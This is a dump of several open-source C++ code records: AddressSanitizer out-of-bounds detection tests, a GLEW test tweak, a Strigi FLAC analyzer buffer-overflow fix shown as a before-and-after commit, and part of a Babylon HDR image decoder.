EXPECT_DEATH(memset(array - 5, element, size + 5 * sizeof(T)),\n LeftOOBWriteMessage(5 * sizeof(T)));\n }\n \/\/ whole interval is to the left\n EXPECT_DEATH(MEMSET(array - 2, 0, sizeof(T)),\n LeftOOBWriteMessage(2 * sizeof(T)));\n\n \/\/ try to memset bytes both to the left & to the right\n EXPECT_DEATH(MEMSET((char*)array - 2, element, size + 4),\n LeftOOBWriteMessage(2));\n\n free(array);\n}\n\nTEST(AddressSanitizer, MemSetOOBTest) {\n MemSetOOBTestTemplate<char>(100);\n MemSetOOBTestTemplate<int>(5);\n MemSetOOBTestTemplate<double>(256);\n \/\/ We can test arrays of structres\/classes here, but what for?\n}\n\n\/\/ Try to allocate two arrays of 'size' bytes that are near each other.\n\/\/ Strictly speaking we are not guaranteed to find such two pointers,\n\/\/ but given the structure of asan's allocator we will.\nstatic bool AllocateTwoAdjacentArrays(char **x1, char **x2, size_t size) {\n vector<uintptr_t> v;\n bool res = false;\n for (size_t i = 0; i < 1000U && !res; i++) {\n v.push_back(reinterpret_cast<uintptr_t>(new char[size]));\n if (i == 0) continue;\n sort(v.begin(), v.end());\n for (size_t j = 1; j < v.size(); j++) {\n assert(v[j] > v[j-1]);\n if ((size_t)(v[j] - v[j-1]) < size * 2) {\n *x2 = reinterpret_cast<char*>(v[j]);\n *x1 = reinterpret_cast<char*>(v[j-1]);\n res = true;\n break;\n }\n }\n }\n\n for (size_t i = 0; i < v.size(); i++) {\n char *p = reinterpret_cast<char *>(v[i]);\n if (res && p == *x1) continue;\n if (res && p == *x2) continue;\n delete [] p;\n }\n return res;\n}\n\nTEST(AddressSanitizer, LargeOOBInMemset) {\n for (size_t size = 200; size < 100000; size += size \/ 2) {\n char *x1, *x2;\n if (!Ident(AllocateTwoAdjacentArrays)(&x1, &x2, size))\n continue;\n \/\/ fprintf(stderr, \" large oob memset: %p %p %zd\\n\", x1, x2, size);\n \/\/ Do a memset on x1 with huge out-of-bound access that will end up in x2.\n EXPECT_DEATH(Ident(memset)(x1, 0, size * 2),\n \"is located 0 bytes to the right\");\n delete [] x1;\n delete [] x2;\n return;\n }\n assert(0 && \"Did not find two adjacent malloc-ed pointers\");\n}\n\n\/\/ Same test for memcpy and memmove functions\ntemplate <typename T, class M>\nvoid MemTransferOOBTestTemplate(size_t length) {\n if (length == 0) return;\n size_t size = Ident(sizeof(T) * length);\n T *src = Ident((T*)malloc(size));\n T *dest = Ident((T*)malloc(size));\n int zero = Ident(0);\n\n \/\/ valid transfer of bytes between arrays\n M::transfer(dest, src, size);\n M::transfer(dest + 1, src, size - sizeof(T));\n M::transfer(dest, src + length - 1, sizeof(T));\n M::transfer(dest, src, 1);\n\n \/\/ transfer zero bytes\n M::transfer(dest - 1, src, 0);\n M::transfer(dest + length, src, zero);\n M::transfer(dest, src - 1, zero);\n M::transfer(dest, src, zero);\n\n \/\/ try to change mem to the right of dest\n EXPECT_DEATH(M::transfer(dest + 1, src, size),\n RightOOBWriteMessage(0));\n EXPECT_DEATH(M::transfer((char*)(dest + length) - 1, src, 5),\n RightOOBWriteMessage(0));\n\n \/\/ try to change mem to the left of dest\n EXPECT_DEATH(M::transfer(dest - 2, src, size),\n LeftOOBWriteMessage(2 * sizeof(T)));\n EXPECT_DEATH(M::transfer((char*)dest - 3, src, 4),\n LeftOOBWriteMessage(3));\n\n \/\/ try to access mem to the right of src\n EXPECT_DEATH(M::transfer(dest, src + 2, size),\n RightOOBReadMessage(0));\n EXPECT_DEATH(M::transfer(dest, (char*)(src + length) - 3, 6),\n RightOOBReadMessage(0));\n\n \/\/ try to access mem to the left of src\n EXPECT_DEATH(M::transfer(dest, src - 1, size),\n LeftOOBReadMessage(sizeof(T)));\n EXPECT_DEATH(M::transfer(dest, (char*)src - 6, 7),\n LeftOOBReadMessage(6));\n\n \/\/ Generally we don't need to test cases where both accessing src and writing\n \/\/ to dest address to poisoned memory.\n\n T *big_src = Ident((T*)malloc(size * 2));\n T *big_dest = Ident((T*)malloc(size * 2));\n \/\/ try to change mem to both sides of dest\n EXPECT_DEATH(M::transfer(dest - 1, big_src, size * 2),\n LeftOOBWriteMessage(sizeof(T)));\n \/\/ try to access mem to both sides of src\n EXPECT_DEATH(M::transfer(big_dest, src - 2, size * 2),\n LeftOOBReadMessage(2 * sizeof(T)));\n\n free(src);\n free(dest);\n free(big_src);\n free(big_dest);\n}\n\nclass MemCpyWrapper {\n public:\n static void* transfer(void *to, const void *from, size_t size) {\n return Ident(memcpy)(to, from, size);\n }\n};\n\nTEST(AddressSanitizer, MemCpyOOBTest) {\n MemTransferOOBTestTemplate<char, MemCpyWrapper>(100);\n MemTransferOOBTestTemplate<int, MemCpyWrapper>(1024);\n}\n\nclass MemMoveWrapper {\n public:\n static void* transfer(void *to, const void *from, size_t size) {\n return Ident(memmove)(to, from, size);\n }\n};\n\nTEST(AddressSanitizer, MemMoveOOBTest) {\n MemTransferOOBTestTemplate<char, MemMoveWrapper>(100);\n MemTransferOOBTestTemplate<int, MemMoveWrapper>(1024);\n}\n\n\nTEST(AddressSanitizer, MemCmpOOBTest) {\n size_t size = Ident(100);\n char *s1 = MallocAndMemsetString(size);\n char *s2 = MallocAndMemsetString(size);\n \/\/ Normal memcmp calls.\n Ident(memcmp(s1, s2, size));\n Ident(memcmp(s1 + size - 1, s2 + size - 1, 1));\n Ident(memcmp(s1 - 1, s2 - 1, 0));\n \/\/ One of arguments points to not allocated memory.\n EXPECT_DEATH(Ident(memcmp)(s1 - 1, s2, 1), LeftOOBReadMessage(1));\n EXPECT_DEATH(Ident(memcmp)(s1, s2 - 1, 1), LeftOOBReadMessage(1));\n EXPECT_DEATH(Ident(memcmp)(s1 + size, s2, 1), RightOOBReadMessage(0));\n EXPECT_DEATH(Ident(memcmp)(s1, s2 + size, 1), RightOOBReadMessage(0));\n \/\/ Hit unallocated memory and die.\n EXPECT_DEATH(Ident(memcmp)(s1 + 1, s2 + 1, size), RightOOBReadMessage(0));\n EXPECT_DEATH(Ident(memcmp)(s1 + size - 1, s2, 2), RightOOBReadMessage(0));\n \/\/ Zero bytes are not terminators and don't prevent from OOB.\n s1[size - 1] = '\\0';\n s2[size - 1] = '\\0';\n EXPECT_DEATH(Ident(memcmp)(s1, s2, size + 1), RightOOBReadMessage(0));\n\n \/\/ Even if the buffers differ in the first byte, we still assume that\n \/\/ memcmp may access the whole buffer and thus reporting the overflow here:\n s1[0] = 1;\n s2[0] = 123;\n EXPECT_DEATH(Ident(memcmp)(s1, s2, size + 1), RightOOBReadMessage(0));\n\n free(s1);\n free(s2);\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\n#include \"glew.h\"\n\n#include <GL\/glew.h>\n\n#include <iostream>\n\n\nnamespace\n{\n #include \"gltest_data.inl\"\n\n bool errors = false;\n}\n\n\nvoid glew_init()\n{\n glewInit();\n glGetError();\n}\n\n\ninline void glError()\n{\n GLenum error = glGetError();\n if (error != GL_NO_ERROR)\n std::cout << \"Error: 0x\" << std::hex << error << std::endl;\n}\n\nvoid glew_test()\n{\n if (errors)\n {\n #include \"gltest_error.inl\"\n }\n else\n {\n #include \"gltest.inl\"\n }\n}\n\nvoid glew_error(bool enable)\n{\n errors = enable;\n}\n<commit_msg>Fix CID #41484<commit_after>\n#include \"glew.h\"\n\n#include <GL\/glew.h>\n\n#include <iostream>\n\n\nnamespace\n{\n #include \"gltest_data.inl\"\n\n bool errors = false;\n}\n\n\nvoid glew_init()\n{\n glewInit();\n glGetError();\n}\n\n\ninline void glError()\n{\n GLenum error = glGetError();\n if (error != GL_NO_ERROR)\n std::cout << \"Error: \" << error << std::endl;\n}\n\nvoid glew_test()\n{\n if (errors)\n {\n #include \"gltest_error.inl\"\n }\n else\n {\n #include \"gltest.inl\"\n }\n}\n\nvoid glew_error(bool enable)\n{\n errors = enable;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of Strigi Desktop Search\n *\n * Copyright (C) 2006 Jos van den Oever <jos@vandenoever.info>\n * 2007 Tobias Pfeiffer <tgpfeiffer@web.de>\n * 2009 Evgeny Egorochkin <phreedom.stdin@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"flacthroughanalyzer.h\"\n#include <strigi\/strigiconfig.h>\n#include \"analysisresult.h\"\n#include \"textutils.h\"\n#include <iostream>\n#include <cctype>\n#include <cstring>\nusing namespace Strigi;\nusing namespace std;\n\n#define NMM_PROPOSAL \"http:\/\/www.semanticdesktop.org\/ontologies\/nmm#\"\n\nconst string\n typePropertyName(\n\t\"http:\/\/www.w3.org\/1999\/02\/22-rdf-syntax-ns#type\"),\n fullnamePropertyName(\n\t\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/03\/22\/nco#fullname\"),\n titlePropertyName(\n\t\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#title\"),\n\n musicClassName(\n\tNMM_PROPOSAL \"MusicPiece\"),\n albumClassName(\n\tNMM_PROPOSAL \"MusicAlbum\"),\n contactClassName(\n\t\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/03\/22\/nco#Contact\");\n\nvoid\nFlacThroughAnalyzerFactory::registerFields(FieldRegister& r) {\n fields[\"title\"] = r.registerField(titlePropertyName);\n albumField = r.registerField(NMM_PROPOSAL \"musicAlbum\");\n artistField = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/03\/22\/nco#creator\");\n fields[\"genre\"] = r.registerField(\"http:\/\/freedesktop.org\/standards\/xesam\/1.0\/core#genre\");\n fields[\"codec\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/03\/22\/nfo#codec\");\n composerField = r.registerField(NMM_PROPOSAL \"composer\");\n performerField = r.registerField(NMM_PROPOSAL \"performer\");\n fields[\"date\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#contentCreated\");\n fields[\"description\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#description\");\n fields[\"tracknumber\"] = r.registerField(NMM_PROPOSAL \"trackNumber\");\n\n\n fields[\"version\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#version\");\n fields[\"isrc\"] = r.registerField(NMM_PROPOSAL \"internationalStandardRecordingCode\");\n fields[\"copyright\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#copyright\");\n fields[\"license\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#license\");\n\n\/\/ ogg spec fields left unimplemented: ORGANIZATION, LOCATION, CONTACT\n\n fields[\"type\"] = r.typeField;\n}\n\n#undef NMM_PROPOSAL\n\nvoid\nFlacThroughAnalyzer::setIndexable(AnalysisResult* i) {\n indexable = i;\n}\nInputStream*\nFlacThroughAnalyzer::connectInputStream(InputStream* in) {\n if(!in) {\n return in;\n }\n const char* buf;\n char blocktype;\n int32_t nreq = 8;\n int32_t nread = in->read(buf, nreq, nreq);\n int32_t blocksize = 4;\n \/\/ check the header for Flac signature\n \/\/ the first ogg page starts at position 0, the second at position 58\n if (nread < nreq || strncmp(\"fLaC\", buf,4)) {\n\tin->reset(0);\n return in;\n }\n \n cerr<< \"found a flac file!\"; \n do {\n blocktype = buf[blocksize];\n blocksize = readBigEndianUInt32(buf+blocksize)& 0xFFFFFF;\n \n \/\/if this isn't the last block, read the header of the next block as well\n nreq = (blocktype & 0x80 ? blocksize : blocksize+4);\n\t\n nread = in->read(buf, nreq, nreq);\n\n \/\/ we are looking for the comments block only\n if ((blocktype&0x7F)==4) {\n\tconst char *p2 = buf + 4 + readLittleEndianUInt32(buf); \/\/skip vendor string. maybe put it into metadata as soon as there's some place for it\n\tconst char *end = buf + blocksize;\n\tuint32_t nfields = readLittleEndianUInt32(p2);\n\t\/\/ read all the comments\n\tp2 += 4;\n\tfor (uint32_t i = 0; p2 < end && i < nfields; ++i) {\n\t \/\/ read the comment length\n\t uint32_t size = readLittleEndianUInt32(p2);\n\t p2 += 4;\n\t if (size <= (uint32_t)(end - p2)) {\n\t\tuint32_t eq = 1;\n\t\twhile (eq < size && p2[eq] != '=') eq++;\n\t\tif (size > eq) {\n\t\t string name(p2, eq);\n\t\t \/\/ convert field name to lower case\n\t\t const int length = name.length();\n\t\t for(int k=0; k!=length; ++k) {\n\t\t\tname[k] = std::tolower(name[k]);\n\t\t }\n\t\t \/\/ check if we can handle this field and if so handle it\n\t\t map<string, const RegisteredField*>::const_iterator iter\n\t\t\t= factory->fields.find(name);\n\t\t string value(p2+eq+1, size-eq-1);\n\t\t if (iter != factory->fields.end()) {\n\t\t\tindexable->addValue(iter->second, value);\n\t\t } else if(name==\"artist\") {\n\t\t\tstring artistUri = indexable->newAnonymousUri();\n\t\t \n\t\t\tindexable->addValue(factory->artistField, artistUri);\n\t\t\tindexable->addTriplet(artistUri, typePropertyName, contactClassName);\n\t\t\tindexable->addTriplet(artistUri, fullnamePropertyName, value);\n\t\t } else if(name==\"album\") {\n\t\t\tstring albumUri = indexable->newAnonymousUri();\n\t\t\t\n\t\t\tindexable->addValue(factory->albumField, albumUri);\n\t\t\tindexable->addTriplet(albumUri, typePropertyName, albumClassName);\n\t\t\tindexable->addTriplet(albumUri, titlePropertyName, value);\n\t\t } else if(name==\"composer\") {\n\t\t\tstring composerUri = indexable->newAnonymousUri();\n\n\t\t\tindexable->addValue(factory->composerField, composerUri);\n\t\t\tindexable->addTriplet(composerUri, typePropertyName, contactClassName);\n\t\t\tindexable->addTriplet(composerUri, fullnamePropertyName, value);\n\t\t } else if(name==\"performer\") {\n\t\t\tstring performerUri = indexable->newAnonymousUri();\n\n\t\t\tindexable->addValue(factory->performerField, performerUri);\n\t\t\tindexable->addTriplet(performerUri, typePropertyName, contactClassName);\n\t\t\tindexable->addTriplet(performerUri, fullnamePropertyName, value);\n\t\t }\n\t\t}\n\t } else {\n\t\tcerr << \"problem with tag size of \" << size << endl;\n\t\tin->reset(0);\n\t\treturn in;\n\t }\n\t p2 += size;\n\t}\n\t\/\/ set the \"codec\" value\n\tindexable->addValue(factory->fields.find(\"codec\")->second, \"FLAC\");\n\tindexable->addValue(factory->fields.find(\"type\")->second, musicClassName);\n }\n } while( !(blocktype & 0x80) );\n\n in->reset(0);\n return in;\n}\nbool\nFlacThroughAnalyzer::isReadyWithStream() {\n return true;\n}\n<commit_msg>A quick security(buffer oveflow) fix for the FLAC analyzer.<commit_after>\/* This file is part of Strigi Desktop Search\n *\n * Copyright (C) 2006 Jos van den Oever <jos@vandenoever.info>\n * 2007 Tobias Pfeiffer <tgpfeiffer@web.de>\n * 2009 Evgeny Egorochkin <phreedom.stdin@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"flacthroughanalyzer.h\"\n#include <strigi\/strigiconfig.h>\n#include \"analysisresult.h\"\n#include \"textutils.h\"\n#include <iostream>\n#include <cctype>\n#include <cstring>\nusing namespace Strigi;\nusing namespace std;\n\n#define NMM_PROPOSAL \"http:\/\/www.semanticdesktop.org\/ontologies\/nmm#\"\n\nconst string\n typePropertyName(\n\t\"http:\/\/www.w3.org\/1999\/02\/22-rdf-syntax-ns#type\"),\n fullnamePropertyName(\n\t\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/03\/22\/nco#fullname\"),\n titlePropertyName(\n\t\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#title\"),\n\n musicClassName(\n\tNMM_PROPOSAL \"MusicPiece\"),\n albumClassName(\n\tNMM_PROPOSAL \"MusicAlbum\"),\n contactClassName(\n\t\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/03\/22\/nco#Contact\");\n\nvoid\nFlacThroughAnalyzerFactory::registerFields(FieldRegister& r) {\n fields[\"title\"] = r.registerField(titlePropertyName);\n albumField = r.registerField(NMM_PROPOSAL \"musicAlbum\");\n artistField = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/03\/22\/nco#creator\");\n fields[\"genre\"] = r.registerField(\"http:\/\/freedesktop.org\/standards\/xesam\/1.0\/core#genre\");\n fields[\"codec\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/03\/22\/nfo#codec\");\n composerField = r.registerField(NMM_PROPOSAL \"composer\");\n performerField = r.registerField(NMM_PROPOSAL \"performer\");\n fields[\"date\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#contentCreated\");\n fields[\"description\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#description\");\n fields[\"tracknumber\"] = r.registerField(NMM_PROPOSAL \"trackNumber\");\n\n\n fields[\"version\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#version\");\n fields[\"isrc\"] = r.registerField(NMM_PROPOSAL \"internationalStandardRecordingCode\");\n fields[\"copyright\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#copyright\");\n fields[\"license\"] = r.registerField(\"http:\/\/www.semanticdesktop.org\/ontologies\/2007\/01\/19\/nie#license\");\n\n\/\/ ogg spec fields left unimplemented: ORGANIZATION, LOCATION, CONTACT\n\n fields[\"type\"] = r.typeField;\n}\n\n#undef NMM_PROPOSAL\n\nvoid\nFlacThroughAnalyzer::setIndexable(AnalysisResult* i) {\n indexable = i;\n}\nInputStream*\nFlacThroughAnalyzer::connectInputStream(InputStream* in) {\n if(!in) {\n return in;\n }\n const char* buf;\n char blocktype;\n int32_t nreq = 8;\n int32_t nread = in->read(buf, nreq, nreq);\n int32_t blocksize = 4;\n \/\/ check the header for Flac signature\n \/\/ the first ogg page starts at position 0, the second at position 58\n if (nread < nreq || strncmp(\"fLaC\", buf,4)) {\n\tin->reset(0);\n return in;\n }\n \n cerr<< \"found a flac file!\"; \n do {\n blocktype = buf[blocksize];\n blocksize = readBigEndianUInt32(buf+blocksize)& 0xFFFFFF;\n \n \/\/if this isn't the last block, read the header of the next block as well\n nreq = (blocktype & 0x80 ? blocksize : blocksize+4);\n\t\n nread = in->read(buf, nreq, nreq);\n if (nread!=nreq) {\n\tin->reset(0);\n return in;\n }\n \n \/\/ we are looking for the comments block only\n if ((blocktype&0x7F)==4) {\n\tconst char *p2 = buf + 4 + readLittleEndianUInt32(buf); \/\/skip vendor string. maybe put it into metadata as soon as there's some place for it\n\tconst char *end = buf + blocksize;\n\tuint32_t nfields = readLittleEndianUInt32(p2);\n\t\/\/ read all the comments\n\tp2 += 4;\n\tfor (uint32_t i = 0; p2 < end && i < nfields; ++i) {\n\t \/\/ read the comment length\n\t uint32_t size = readLittleEndianUInt32(p2);\n\t p2 += 4;\n\t if (size <= (uint32_t)(end - p2)) {\n\t\tuint32_t eq = 1;\n\t\twhile (eq < size && p2[eq] != '=') eq++;\n\t\tif (size > eq) {\n\t\t string name(p2, eq);\n\t\t \/\/ convert field name to lower case\n\t\t const int length = name.length();\n\t\t for(int k=0; k!=length; ++k) {\n\t\t\tname[k] = std::tolower(name[k]);\n\t\t }\n\t\t \/\/ check if we can handle this field and if so handle it\n\t\t map<string, const RegisteredField*>::const_iterator iter\n\t\t\t= factory->fields.find(name);\n\t\t string value(p2+eq+1, size-eq-1);\n\t\t if (iter != factory->fields.end()) {\n\t\t\tindexable->addValue(iter->second, value);\n\t\t } else if(name==\"artist\") {\n\t\t\tstring artistUri = indexable->newAnonymousUri();\n\t\t \n\t\t\tindexable->addValue(factory->artistField, artistUri);\n\t\t\tindexable->addTriplet(artistUri, typePropertyName, contactClassName);\n\t\t\tindexable->addTriplet(artistUri, fullnamePropertyName, value);\n\t\t } else if(name==\"album\") {\n\t\t\tstring albumUri = indexable->newAnonymousUri();\n\t\t\t\n\t\t\tindexable->addValue(factory->albumField, albumUri);\n\t\t\tindexable->addTriplet(albumUri, typePropertyName, albumClassName);\n\t\t\tindexable->addTriplet(albumUri, titlePropertyName, value);\n\t\t } else if(name==\"composer\") {\n\t\t\tstring composerUri = indexable->newAnonymousUri();\n\n\t\t\tindexable->addValue(factory->composerField, composerUri);\n\t\t\tindexable->addTriplet(composerUri, typePropertyName, contactClassName);\n\t\t\tindexable->addTriplet(composerUri, fullnamePropertyName, value);\n\t\t } else if(name==\"performer\") {\n\t\t\tstring performerUri = indexable->newAnonymousUri();\n\n\t\t\tindexable->addValue(factory->performerField, performerUri);\n\t\t\tindexable->addTriplet(performerUri, typePropertyName, contactClassName);\n\t\t\tindexable->addTriplet(performerUri, fullnamePropertyName, value);\n\t\t }\n\t\t}\n\t } else {\n\t\tcerr << \"problem with tag size of \" << size << endl;\n\t\tin->reset(0);\n\t\treturn in;\n\t }\n\t p2 += size;\n\t}\n\t\/\/ set the \"codec\" value\n\tindexable->addValue(factory->fields.find(\"codec\")->second, \"FLAC\");\n\tindexable->addValue(factory->fields.find(\"type\")->second, musicClassName);\n }\n } while( !(blocktype & 0x80) );\n\n in->reset(0);\n return in;\n}\nbool\nFlacThroughAnalyzer::isReadyWithStream() {\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <babylon\/misc\/highdynamicrange\/hdr_tools.h>\n\n#include <babylon\/babylon_stl_util.h>\n#include <babylon\/misc\/highdynamicrange\/panorama_to_cube_map_tools.h>\n#include <babylon\/misc\/string_tools.h>\n\nnamespace BABYLON {\n\nfloat HDRTools::Ldexp(float mantissa, float exponent)\n{\n if (exponent > 1023.f) {\n return mantissa * std::pow(2.f, 1023.f) * std::pow(2.f, exponent - 1023.f);\n }\n\n if (exponent < -1074.f) {\n return mantissa * std::pow(2.f, -1074.f) * std::pow(2.f, exponent + 1074.f);\n }\n\n return mantissa * std::pow(2.f, exponent);\n}\n\nvoid HDRTools::Rgbe2float(Float32Array& float32array, float red, float green, float blue,\n float exponent, size_t index)\n{\n if (exponent > 0.f) { \/*nonzero pixel*\/\n exponent = Ldexp(1.f, exponent - (128.f + 8.f));\n\n float32array[index + 0] = red * exponent;\n float32array[index + 1] = green * exponent;\n float32array[index + 2] = blue * exponent;\n }\n else {\n float32array[index + 0] = 0.f;\n float32array[index + 1] = 0.f;\n float32array[index + 2] = 0.f;\n }\n}\n\nstd::string HDRTools::readStringLine(const Uint8Array& uint8array, size_t startIndex)\n{\n std::ostringstream line;\n std::string character;\n\n for (size_t i = startIndex; i < uint8array.size() - startIndex; ++i) {\n character = StringTools::fromCharCode(uint8array[i]);\n\n if (character == \"\\n\") {\n break;\n }\n\n line << character;\n }\n\n return line.str();\n}\n\nHDRInfo HDRTools::RGBE_ReadHeader(const Uint8Array& uint8array)\n{\n HDRInfo headerInfo;\n\n auto height = 0ull;\n auto width = 0ull;\n\n auto line = readStringLine(uint8array, 0);\n if (line.at(0) != '#' || line.at(1) != '?') {\n throw std::runtime_error(\"Bad HDR Format.\");\n }\n\n auto endOfHeader = false;\n auto findFormat = false;\n auto lineIndex = 0ull;\n\n do {\n lineIndex += (line.size() + 1);\n line = readStringLine(uint8array, lineIndex);\n\n if (line == \"FORMAT=32-bit_rle_rgbe\") {\n findFormat = true;\n }\n else if (line.empty()) {\n endOfHeader = true;\n }\n } while (!endOfHeader);\n\n if (!findFormat) {\n throw std::runtime_error(\"HDR Bad header format, unsupported FORMAT\");\n }\n\n lineIndex += (line.size() + 1);\n line = readStringLine(uint8array, lineIndex);\n\n const std::regex sizeRegexp(\"^\\\\-Y (.*) \\\\+X (.*)$\", std::regex::optimize);\n std::smatch match;\n\n if (std::regex_search(line, match, sizeRegexp) && (match.size() == 3)) {\n \/\/ Shader include found\n width = std::stoul(match.str(2));\n height = std::stoul(match.str(1));\n }\n else {\n throw std::runtime_error(\"HDR Bad header format, no size\");\n }\n\n if (width < 8 || width > 0x7fff) {\n throw std::runtime_error(\"HDR Bad header format, unsupported size\");\n }\n\n lineIndex += (line.size() + 1);\n\n headerInfo.height = height;\n headerInfo.width = width;\n headerInfo.dataPosition = lineIndex;\n\n return headerInfo;\n}\n\nCubeMapInfo HDRTools::GetCubeMapTextureData(const Uint8Array& buffer, size_t size)\n{\n auto hdrInfo = RGBE_ReadHeader(buffer);\n auto data = RGBE_ReadPixels(buffer, hdrInfo);\n\n return PanoramaToCubeMapTools::ConvertPanoramaToCubemap(data, hdrInfo.width, hdrInfo.height,\n size);\n}\n\nFloat32Array HDRTools::RGBE_ReadPixels(const Uint8Array& uint8array, const HDRInfo& hdrInfo)\n{\n return RGBE_ReadPixels_RLE(uint8array, hdrInfo);\n}\n\nFloat32Array HDRTools::RGBE_ReadPixels_RLE(const Uint8Array& uint8array, const HDRInfo& hdrInfo)\n{\n auto num_scanlines = hdrInfo.height;\n auto scanline_width = hdrInfo.width;\n\n std::uint8_t a, b, c, d, count;\n auto dataIndex = hdrInfo.dataPosition;\n auto index = 0ull, endIndex = 0ull, i = 0ull;\n\n ArrayBuffer scanLineArrayBuffer(scanline_width * 4); \/\/ four channel R G B E\n auto scanLineArray = stl_util::to_array<uint8_t>(scanLineArrayBuffer);\n\n \/\/ 3 channels of 4 bytes per pixel in float.\n ArrayBuffer resultBuffer(hdrInfo.width * hdrInfo.height * 4 * 3);\n auto resultArray = stl_util::to_array<float>(resultBuffer);\n\n \/\/ read in each successive scanline\n while (num_scanlines > 0) {\n a = uint8array[dataIndex++];\n b = uint8array[dataIndex++];\n c = uint8array[dataIndex++];\n d = uint8array[dataIndex++];\n\n if (a != 2 || b != 2 || (c & 0x80) || hdrInfo.width < 8 || hdrInfo.width > 32767) {\n return HDRTools::RGBE_ReadPixels_NOT_RLE(uint8array, hdrInfo);\n }\n\n if (static_cast<size_t>((c << 8) | d) != scanline_width) {\n throw std::runtime_error(\"HDR Bad header format, wrong scan line width\");\n }\n\n index = 0;\n\n \/\/ read each of the four channels for the scanline into the buffer\n for (i = 0; i < 4; i++) {\n endIndex = (i + 1) * scanline_width;\n\n while (index < endIndex) {\n a = uint8array[dataIndex++];\n b = uint8array[dataIndex++];\n\n if (a > 128) {\n \/\/ a run of the same value\n count = static_cast<std::uint8_t>(a - 128);\n if ((count == 0) || (count > endIndex - index)) {\n throw std::runtime_error(\"HDR Bad Format, bad scanline data (run)\");\n }\n\n while (count-- > 0) {\n scanLineArray[index++] = b;\n }\n }\n else {\n \/\/ a non-run\n count = a;\n if ((count == 0) || (count > endIndex - index)) {\n throw std::runtime_error(\"HDR Bad Format, bad scanline data (non-run)\");\n }\n\n scanLineArray[index++] = b;\n if (--count > 0) {\n for (size_t j = 0; j < count; ++j) {\n scanLineArray[index++] = uint8array[dataIndex++];\n }\n }\n }\n }\n }\n\n \/\/ now convert data from buffer into floats\n for (i = 0; i < scanline_width; ++i) {\n a = scanLineArray[i];\n b = scanLineArray[i + scanline_width];\n c = scanLineArray[i + 2 * scanline_width];\n d = scanLineArray[i + 3 * scanline_width];\n\n Rgbe2float(resultArray, a, b, c, d,\n (hdrInfo.height - num_scanlines) * scanline_width * 3 + i * 3);\n }\n\n --num_scanlines;\n }\n\n return resultArray;\n}\n\nFloat32Array HDRTools::RGBE_ReadPixels_NOT_RLE(const Uint8Array& uint8array, const HDRInfo& hdrInfo)\n{\n \/\/ this file is not run length encoded\n \/\/ read values sequentially\n\n auto num_scanlines = hdrInfo.height;\n const auto scanline_width = hdrInfo.width;\n\n uint8_t a = 0, b = 0, c = 0, d = 0;\n auto i = 0ull;\n auto dataIndex = hdrInfo.dataPosition;\n\n \/\/ 3 channels of 4 bytes per pixel in float.\n Float32Array resultArray(hdrInfo.width * hdrInfo.height * 4 * 3);\n\n \/\/ read in each successive scanline\n while (num_scanlines > 0) {\n for (i = 0; i < hdrInfo.width; i++) {\n a = uint8array[dataIndex++];\n b = uint8array[dataIndex++];\n c = uint8array[dataIndex++];\n d = uint8array[dataIndex++];\n\n Rgbe2float(resultArray, \/\/\n a, b, c, d, \/\/\n (hdrInfo.height - num_scanlines) * scanline_width * 3 + i * 3);\n }\n\n --num_scanlines;\n }\n\n return resultArray;\n}\n\n} \/\/ end of namespace BABYLON\n<commit_msg>const correctness<commit_after>#include <babylon\/misc\/highdynamicrange\/hdr_tools.h>\n\n#include <babylon\/babylon_stl_util.h>\n#include <babylon\/misc\/highdynamicrange\/panorama_to_cube_map_tools.h>\n#include <babylon\/misc\/string_tools.h>\n\nnamespace BABYLON {\n\nfloat HDRTools::Ldexp(float mantissa, float exponent)\n{\n if (exponent > 1023.f) {\n return mantissa * std::pow(2.f, 1023.f) * std::pow(2.f, exponent - 1023.f);\n }\n\n if (exponent < -1074.f) {\n return mantissa * std::pow(2.f, -1074.f) * std::pow(2.f, exponent + 1074.f);\n }\n\n return 